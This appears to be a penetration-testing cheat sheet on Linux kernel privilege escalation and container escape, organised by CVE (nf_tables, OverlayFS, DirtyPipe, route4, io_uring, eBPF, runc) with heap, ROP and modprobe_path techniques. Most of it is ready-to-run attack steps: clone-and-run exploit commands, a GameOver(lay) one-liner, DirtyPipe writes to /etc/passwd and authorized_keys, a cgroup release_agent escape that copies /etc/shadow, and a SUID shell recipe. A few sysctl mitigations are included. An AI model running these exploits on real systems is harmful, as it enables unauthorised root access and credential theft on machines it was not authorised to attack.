Modern Linux kernel vulnerabilities and exploitation techniques.
# Get kernel version
uname -r
cat /proc/version
# Check for known vulnerabilities
# https://github.com/lucyoa/kernel-exploits
# https://github.com/briskets/linux-exploit-suggester# Affects: Linux kernel < 6.8
# Type: Use-after-free/Double-Free in netfilter nf_tables
# Impact: Local privilege escalation to root
# CVSS Score: 7.8 (High)
# Technical details: The nft_verdict_init() function allows positive values
# as drop error within the hook verdict, causing nf_hook_slow() to trigger
# a double-free vulnerability when NF_DROP is issued with a drop error that
# resembles NF_ACCEPT .
# Check if vulnerable
cat /proc/version # < 6.8
lsmod | grep nf_tables
# Check if unprivileged user namespaces are enabled (required for exploitation)
cat /proc/sys/kernel/unprivileged_userns_clone
# Returns 1 if enabled (vulnerable configuration)
# Exploit: https://github.com/Notselwyn/CVE-2024-1086
git clone https://github.com/Notselwyn/CVE-2024-1086
cd CVE-2024-1086
make
./exploit
# Expected: Root shell
# Mitigation (if patching is not immediately possible):
sysctl -w kernel.unprivileged_userns_clone=0
# Add to /etc/sysctl.conf for persistence# Affects: Linux kernel v5.1-rc1 to 6.3.1
# Type: Use-after-free in nf_tables when processing batch requests
# Impact: Local privilege escalation to root
# Technical details: The vulnerability exists in how Netfilter's nf_tables
# component handles anonymous sets. When processing batch requests that update
# nf_tables configuration information, a logic flaw in handling anonymous sets
# leads to a use-after-free condition that can be abused to perform arbitrary
# read/write operations on kernel memory .
# Check version
uname -r
# Requires: CAP_NET_ADMIN in user namespace
# Or unprivileged user namespaces enabled
cat /proc/sys/kernel/unprivileged_userns_clone
# Compilation dependencies
apt install gcc libmnl-dev libnftnl-dev
# Exploit: https://github.com/Liuk3r/CVE-2023-32233
git clone https://github.com/Liuk3r/CVE-2023-32233
cd CVE-2023-32233
gcc -Wall -o exploit exploit.c -lmnl -lnftnl
./exploit
# Expected: Root shell # Affects: Ubuntu kernels with OverlayFS
# Type: Privilege escalation via OverlayFS
# Impact: Local root
# Technical details: These vulnerabilities affect Ubuntu kernels that backported
# OverlayFS patches without proper capability checking. When OverlayFS copies
# up a file from lower to upper layer, the capability bits are preserved
# without proper namespace validation, allowing privilege escalation .
# Vulnerable configurations:
# - Ubuntu 23.04 (6.2.0): Both CVEs
# - Ubuntu 22.10 (5.19.0): Both CVEs
# - Ubuntu 22.04 LTS (5.19.0, 6.2.0): Both CVEs
# - Ubuntu 20.04 LTS (5.4.0): CVE-2023-32629 only
# - Ubuntu 18.04 LTS (5.4.0): CVE-2023-32629 only
# Check if vulnerable (Ubuntu specific)
cat /etc/os-release
uname -r
# Simple check (GameOver(lay) detection)
unshare -rm sh -c "mkdir l u w m && cp /u*/teleif l/teleif && setcap cap_setuid+eip l/teleif && mount -t overlay overlay -o lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/teleif
# Exploit: https://github.com/g1vi/CVE-2023-2640-CVE-2023-32629
# Alternative exploit: https://github.com/luanoliveira350/GameOverlayFS
chmod +x gameoverlay.sh
./gameoverlay.sh# Affects: Linux kernel < 6.2
# Type: OverlayFS capability bypass
# Impact: Local privilege escalation
# Technical details: In the ovl_copy_up_one function, there is no check for
# whether the owner/group of the lower layer file is mapped in the current
# user namespace. This allows setuid root files from a nosuid mount point to
# be "copied up" to the upper layer while retaining privileged attributes.
# After exiting the namespace, executing the file grants root privileges .
# Check
uname -r # < 6.2
# Requires overlayfs and user namespaces
cat /proc/filesystems | grep overlay
# Exploit vector:
# 1. Use FUSE to create a file owned by root with setuid in the lower layer
# 2. Trigger copy-up to the upper layer via touch or metadata modification
# 3. Exit the namespace and execute the copied file for root access
# Exploit: https://github.com/sxlmnwb/CVE-2023-0386# Affects: Linux kernel 5.8 to 5.16.11, 5.15.25, 5.10.102
# Type: Pipe buffer flag uninitialized variable
# Impact: Arbitrary file write, privilege escalation
# Technical details: This vulnerability stems from an uninitialized
# "pipe_buffer.flags" variable. By preparing pipe_buffer structs with the
# PIPE_BUF_FLAG_CAN_MERGE flag and initializing them using the splice syscall,
# a pipe_buffer can be made to reference a page from the page cache,
# enabling arbitrary file write even on read-only or immutable files .
# The vulnerability was introduced in commit f6dd975583bd ("pipe: merge
# anon_pipe_buf*_ops") and exists in kernels 5.8 and later .
# Check version
uname -r
# Two major limitations:
# 1. Offset cannot be on a page boundary (needs to write one byte before)
# 2. Write cannot cross a page boundary
# Compile exploit
# https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit
# Original PoC by Max Kellermann: https://www.mycompiler.io/view/Jb5YGmfG3Yw
gcc -o exploit exploit.c
# Example: Inject SSH key into root's authorized_keys
./exploit /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
# Example: Add root user entry to /etc/passwd
./exploit /etc/passwd 1 $'\ntoor:$1$salt$hash:0:0:root:/root:/bin/bash\n'
# Then: su toor
# The exploit drops a SUID binary that executes setuid(0), setgid(0), execve("/bin/sh") # Affects: Linux kernel < 5.19
# Type: Use-after-free in route4 classifier
# Impact: Local privilege escalation
# Technical details: The vulnerability occurs in route4_change() function.
# When creating a new filter, if the old filter handle is 0, it is not removed
# from the hash table before being freed. Later, when releasing all filters,
# this results in a double-free of both route4_filter and its associated
# extensions structure .
# The route4_filter structure size is 144 bytes (allocated in kmalloc-192)
# The extensions (exts) structure size is 256 bytes (allocated in kmalloc-256)
# Requires: CONFIG_NET_CLS_ROUTE4=y
cat /boot/config-$(uname -r) | grep CONFIG_NET_CLS_ROUTE4
# DirtyCred exploitation technique:
# This vulnerability can be exploited using the DirtyCred technique, which
# swaps non-privileged credentials with privileged ones instead of overwriting
# kernel stack data. The technique works in three steps :
#
# 1. Open a writable file (/tmp/x), allocating a file object
# 2. Trigger the vulnerability to free the file object
# 3. Open a read-only file (/etc/passwd) to allocate a new file object
# in the freed memory, then complete the pending write operation
# to write to /etc/passwd
# This technique bypasses KASLR (no address leak required) and works across
# different kernel versions and architectures .
# Exploit: https://github.com/Markakd/CVE-2022-2588io_uring is async I/O interface (kernel 5.1+)
Complex attack surface - many vulnerabilities discovered
Often requires: kernel 5.1+, io_uring enabled
Attack surface includes:
- Provided buffer rings (PBUF)
- Memory mapping handling (VM_PFNMAP)
- Reference counting in async I/O paths
# Affects: Linux 6.4 to 6.7
# Type: Use-after-free in provided buffers (PBUF)
# Technical details: This vulnerability involves a Use-After-Free (UAF) of
# up to 128 pages within the io_uring subsystem. To exploit it :
#
# 1. Register a buffer ring in an io_uring instance using IOU_PBUF_RING_MMAP
# 2. Map the buffer ring into user space
# 3. The mmap implementation creates a mapping with the VM_PFNMAP flag
# 4. Due to this flag, the kernel cannot detect that the mapping exists
# 5. When the buffer ring is unregistered, the kernel frees the pages
# 6. The dangling pointer allows file structure spraying via filp slab cache
# 7. The f_mode field of a file struct can be modified to add FMODE_WRITE
# and FMODE_CAN_WRITE flags, enabling arbitrary file write
# Check io_uring availability
cat /proc/filesystems | grep io_uring
ls /dev/io_uring* 2>/dev/null
# Mitigation: Disable io_uring
sysctl -w kernel.io_uring_disabled=2# Affects: Linux kernel 5.7 to 6.3
# Type: Use-after-free in io_uring
# Technical details: This vulnerability affects the io_uring subsystem's
# asynchronous I/O handling. The exact exploitation approach varies by
# kernel version due to different mitigation strategies and structure layouts.
# Check specific PoCs for your kernel version
# Mitigation: Disable io_uring if not needed
sysctl -w kernel.io_uring_disabled=2# Check current status
sysctl kernel.io_uring_disabled
# Values:
# 0 = io_uring enabled (default)
# 1 = io_uring disabled for unprivileged processes
# 2 = io_uring completely disabled
# Disable completely (requires root)
sysctl -w kernel.io_uring_disabled=2
# Or in /etc/sysctl.conf for persistence
echo "kernel.io_uring_disabled = 2" >> /etc/sysctl.confeBPF (extended Berkeley Packet Filter):
- Runs in kernel context through a verifier
- Verifier is supposed to ensure safety of JIT-compiled code
- Verifier bugs = arbitrary kernel code execution
- Unprivileged BPF is particularly dangerous when enabled
# Affects: Various kernel versions depending on backports
# Type: Verifier bounds tracking error
# Impact: Arbitrary kernel read/write leading to privilege escalation
# Technical details: The eBPF verifier has complex bounds tracking logic
# for register states. When processing certain instruction sequences,
# the verifier can incorrectly track the bounds of a register, allowing
# a user-supplied eBPF program to access arbitrary kernel memory.
# Check eBPF availability
ls /sys/fs/bpf/
bpftool prog list 2>/dev/null
# Check unprivileged BPF status
cat /proc/sys/kernel/unprivileged_bpf_disabled
# 0 = unprivileged users can use BPF (dangerous)
# 1 = unprivileged BPF disabled (default on many modern distros)
# Exploit approach typically involves:
# 1. Crafting a malicious eBPF program that passes verifier checks
# 2. Triggering the bounds tracking bug to gain arbitrary read/write
# 3. Overwriting kernel credentials or function pointers# Disable unprivileged BPF (recommended)
sysctl -w kernel.unprivileged_bpf_disabled=1
# Lockdown BPF completely (requires kernel lockdown support)
echo 2 > /proc/sys/kernel/unprivileged_bpf_disabled
# Add to /etc/sysctl.conf for persistence
echo "kernel.unprivileged_bpf_disabled = 1" >> /etc/sysctl.conf# Affects: runc < 1.1.12
# Type: File descriptor leak
# Impact: Container escape to host
# Technical details: When runc processes container configuration,
# certain file descriptors (specifically /sys/fs/cgroup) can be leaked
# into the container process. A malicious container can access these
# leaked file descriptors to escape to the host filesystem.
# Check runc version
runc --version
docker info | grep -i runc
# Exploit involves:
# 1. Locating leaked file descriptors in /proc/self/fd/
# 2. Finding a descriptor pointing to host cgroup or other host resource
# 3. Using the leaked descriptor to access and modify host filesystem
# 4. Typically combined with other vulnerabilities for full escape
# Mitigation: Update runc to >= 1.1.12# Affects: Linux kernel < 5.17
# Type: cgroup v1 release_agent escape
# Impact: Container escape (if cgroup v1 is mounted)
# Technical details: This vulnerability abuses the cgroup v1 release_agent
# functionality. The release_agent is a program that runs when a cgroup
# becomes empty. By writing to release_agent inside a container and then
# triggering the release condition, an attacker can execute arbitrary
# code on the host.
# Inside container (requires cgroup v1 mount)
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/exploit.sh" > /tmp/cgrp/release_agent
# Create exploit script
echo '#!/bin/sh' > /exploit.sh
echo "chmod 4777 /host_bin/bash" >> /exploit.sh
echo "cat /etc/shadow > $host_path/shadow" >> /exploit.sh
chmod +x /exploit.sh
# Trigger release_agent by creating and terminating a process
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# Mitigation: Use cgroup v2, or patch to kernel >= 5.17// Modern kernel heap (SLUB) exploitation techniques
// 1. Object Spraying
// Allocate many objects to control heap layout and create
// predictable memory patterns
for (int i = 0; i < 1000; i++) {
spray_objects[i] = allocate_kernel_object();
}
// 2. Cross-Cache Attack
// Different kernel structures are allocated from different slabs:
// - route4_filter: 144 bytes -> kmalloc-192
// - exts (actions): 256 bytes -> kmalloc-256
// - file struct: 256 bytes -> filp cache (dedicated)
//
// By exhausting one slab and forcing allocation from a different cache,
// you can achieve type confusion between different object types .
// 3. msg_msg Spray (Classic Technique)
// Use msgsnd() to spray controlled data into kmalloc-* caches
struct msgbuf {
long mtype;
char mtext[SIZE];
};
msgsnd(qid, &msg, SIZE, 0);
// 4. DirtyCred Technique (CVE-2022-2588)
// This technique swaps credentials rather than overwriting them:
// - Step 1: Open writable file, allocate file object
// - Step 2: Trigger UAF to free the file object
// - Step 3: Open read-only file, allocate new file object in freed memory
// - Step 4: Complete pending write operation to write to read-only file
//
// Advantages:
// - No KASLR bypass needed (no address leaks required)
// - Works across different kernel versions and architectures
// - Bypasses many traditional exploit mitigations // Kernel ROP (Return-Oriented Programming)
// Find gadgets with: ROPgadget --binary vmlinux
// Or using: https://github.com/JonathanSalwan/ROPgadget
// Typical ROP chain structure:
// 1. Find kernel base address (bypass KASLR via leak)
// 2. Prepare registers for commit_creds(prepare_kernel_cred(0))
// 3. Call the privilege escalation functions
// 4. Return to user space with correct registers restored
// prepare_kernel_cred and commit_creds addresses
// /proc/kallsyms (if kptr_restrict=0)
cat /proc/kallsyms | grep -E "prepare_kernel_cred|commit_creds"
// Example chain (conceptual, x86_64):
// pop_rdi_gadget -> 0 // arg to prepare_kernel_cred
// prepare_kernel_cred_addr // call prepare_kernel_cred(0)
// pop_rdi_gadget -> rax // move cred pointer to rdi
// commit_creds_addr // call commit_creds(cred)
// swapgs_restore_regs_and_return_to_usermode// Direct jump to userspace code from kernel
// Blocked by SMEP (Supervisor Mode Execution Prevention) and
// SMAP (Supervisor Mode Access Prevention)
// Check protections
cat /proc/cpuinfo | grep -E "smep|smap"
// If neither protection is present, simple ret2usr works:
void escalate(void) {
// This code runs in kernel context but is in userspace
commit_creds(prepare_kernel_cred(0));
}
// Overwrite kernel function pointer to point to escalate()
// When kernel calls the function pointer, it jumps to userspace
// Modern kernels almost always have SMEP/SMAP enabled,
// requiring ROP chains instead of direct ret2usr// Overwrite modprobe_path to execute arbitrary binary
// When an unknown binary format is executed, the kernel runs
// /sbin/modprobe to load the appropriate module
// 1. Find modprobe_path address
cat /proc/kallsyms | grep modprobe_path
// Typical address range: 0xffffffff8245c480 (varies by kernel)
// 2. Overwrite modprobe_path with path to your script
// modprobe_path = "/tmp/pwn"
// 3. Create /tmp/pwn script
echo '#!/bin/sh' > /tmp/pwn
echo 'chmod 4755 /bin/sh' >> /tmp/pwn
chmod +x /tmp/pwn
// 4. Trigger by executing an invalid binary format
echo -e '\xff\xff\xff\xff' > /tmp/invalid
chmod +x /tmp/invalid
/tmp/invalid
// 5. Now /bin/sh is SUID root
/bin/sh -p
// Note: modprobe_path is a protected symbol on many modern kernels
// This technique is mostly legacy, but still works on some embedded systems# Kernel Address Space Layout Randomization
# Leaks needed to find kernel base address
# Common leak sources:
# 1. /proc/kallsyms (if kptr_restrict=0)
cat /proc/sys/kernel/kptr_restrict
# 0 = no restrictions (leaks all symbols)
# 1 = only non-root can't see
# 2 = always shows 0x0000000000000000
cat /proc/kallsyms | grep -E "prepare_kernel_cred|commit_creds"
# 2. dmesg (if dmesg_restrict=0)
cat /proc/sys/kernel/dmesg_restrict
# 0 = all users can read dmesg
# 1 = only root can read dmesg
dmesg | grep -i "kernel" | head -20
# 3. Kernel info leaks via side channels
# - Speculative execution (Spectre v1/v2)
# - Uninitialized stack/heap memory disclosures
# - /proc/pid/stat information leaks
# 4. eBPF verifier leaks
# Some eBPF vulnerabilities can leak kernel pointers
# through the verifier's error messages// SMEP: Can't execute userspace code from kernel
// SMAP: Can't access userspace data from kernel
// Bypass via ROP to disable protections:
// Find a gadget that writes to CR4
// native_write_cr4 gadget is typically used
// CR4 bits:
// - Bit 20 (0x100000): SMAP
// - Bit 21 (0x200000): SMEP
// To disable SMEP/SMAP:
// new_cr4 = read_cr4() & ~(0x200000 | 0x100000)
// write_cr4(new_cr4)
// ROP gadget search (using ROPgadget):
// ROPgadget --binary vmlinux | grep "mov cr4"
// ROPgadget --binary vmlinux | grep "pop rcx ; ret"
// Alternative: Use kernel-only ROP chain
// Stay entirely in kernel space without needing user access
// This is more reliable but requires more gadgets
// Check if protections are enabled:
cat /proc/cpuinfo | grep -E "smep|smap"
# If flags contain smep/smap, they are enabled# Linux Exploit Suggester (LES)
# Checks kernel version against known exploits database
https://github.com/mzet-/linux-exploit-suggester
./linux-exploit-suggester.sh
# Linux Exploit Suggester 2 (Perl version)
# More comprehensive database
https://github.com/jondonas/linux-exploit-suggester-2
perl linux-exploit-suggester-2.pl
# Kernel debugging with QEMU/GDB
# https://github.com/pwndbg/pwndbg
# https://github.com/hugsy/gef
# Kernel exploit development resources
https://github.com/xairy/kernel-exploits
https://github.com/nccgroup/slipstream
# Kernel config checker
scripts/extract-ikconfig /boot/vmlinuz-$(uname -r) | grep -E "CONFIG_SLAB|CONFIG_SLUB|KASLR|SMEP|SMAP"| CVE | Kernel Versions | Type | Exploit Technique |
|---|---|---|---|
| CVE-2024-1086 | < 6.8 | nf_tables Double-Free | Double-free to arbitrary write |
| CVE-2023-32233 | 5.1-rc1 to 6.3.1 | nf_tables UAF | Anonymous sets mishandling |
| CVE-2023-2640 | Ubuntu specific | OverlayFS | Capability preservation |
| CVE-2023-32629 | Ubuntu specific | OverlayFS | Capability preservation |
| CVE-2023-0386 | < 6.2 | OverlayFS | Cross-namespace copy-up |
| CVE-2022-0847 | 5.8 to 5.16.11 | DirtyPipe | Pipe buffer flag injection |
| CVE-2022-2588 | < 5.19 | route4 UAF | DirtyCred technique |
| CVE-2024-0582 | 6.4 to 6.7 | io_uring PBUF UAF | VM_PFNMAP + file spraying |
| CVE-2023-2598 | 5.7 to 6.3 | io_uring UAF | Async I/O path confusion |
| CVE-2023-2163 | Various | eBPF verifier | Bounds tracking bypass |
- Linux Post-Exploitation - Linux privesc
- Privilege Escalation - Overview
- Docker & Kubernetes - Container escapes